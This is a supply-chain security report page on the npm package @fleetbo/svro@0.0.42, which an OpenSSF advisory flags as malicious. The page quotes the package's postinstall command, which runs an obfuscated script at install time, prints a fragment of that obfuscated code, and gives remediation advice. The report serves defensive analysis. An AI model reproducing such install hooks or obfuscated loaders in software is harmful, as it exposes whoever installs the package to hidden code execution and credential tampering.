@fleetbo/svro
This report shows the evidence for @fleetbo/svro@0.0.42. 32 of 34 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
OpenSSF/OSV Malicious Advisory
imported 2mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-14586 confirms this npm version as malicious.
Advisory
MAL-2026-14586
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in @fleetbo/svro (npm)
Details
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
References
Independent LPM AI assessment
SuspiciousIndependent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.
The package performs broad, documented project setup automatically during postinstall rather than through an explicit user command. Its obfuscation and install-time configuration rewriting warrant a warning, but the inspected source does not prove malicious intent.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm installation of @fleetbo/svro
Impact
It can inject service configuration and build-time behavior into the installed project without an explicit setup command.
Mechanism
Postinstall execution that rewrites application configuration and environment files.
AI rationale
The package performs broad, documented project setup automatically during postinstall rather than through an explicit user command. Its obfuscation and install-time configuration rewriting warrant a warning, but the inspected source does not prove malicious intent.
Evidence
package.jsondist/postinstall.cjsREADME.md.envsvro.schema.jsontsconfig.jsonjsconfig.jsonvite.config.jsvite.config.tssrc/auto-imports.d.ts
Network endpoints2
bootstrapper.fleetbo.run.appfleetbo-gateway.fleetbo.workers.dev
Independent scan evidence
public snapshotAI called this Suspicious at 90.0% confidence as Dangerous Capability with low false-positive risk.
Evidence for AI warning decision
- The postinstall hook executes an obfuscated package script during installation.
- The documented install flow automatically writes credentials and modifies project configuration.
- The install script can alter .env, TypeScript configuration, Vite configuration, and package.json.
Evidence against
- The package README discloses the automatic setup behavior.
- No confirmed credential exfiltration, remote payload execution, or destructive deletion was found in the inspected source.
Behavioral surface
DynamicRequireEnvironmentVarsFilesystemNetwork
HighEntropyStringsMinifiedObfuscated
NoLicense
Source & flagged code
5 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node --input-type=commonjs -e "if (require('fs').existsSync('./dist/postinstall.cjs')) require('child_process').execSync('node ./dist/postinstall.cjs', { stdio: 'inherit' })"
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.postinstall = node --input-type=commonjs -e "if (require('fs').existsSync('./dist/postinstall.cjs')) require('child_process').execSync('node ./dist/postinstall.cjs', { stdio: 'inherit' })"
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgdist/postinstall.cjsView file
1#!/usr/bin/env node
L2: const _0x5e9b34=_0x1d2b;(function(_0xb0ce80,_0xce8c99){const _0x385780=_0x1d2b,_0x2cf0ac=_0xb0ce80();while(!![]){try{const _0x1bc390=-parseInt(_0x385780(0x251))/0x1+-parseInt(_0x38...
Medium
Findings
1 Critical4 High4 Medium5 Low
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
HighSame File Env Network Executiondist/cli.cjs#virtual:normalized:round1
HighObfuscated Payload Loaderdist/index.js
HighObfuscated
MediumDynamic Requiredist/postinstall.cjs
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowNo License
Affected versions and remediation
This report applies to @fleetbo/svro@0.0.42.
The versions list below shows the verdict for each recorded version.
- Avoid installing @fleetbo/svro@0.0.42. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.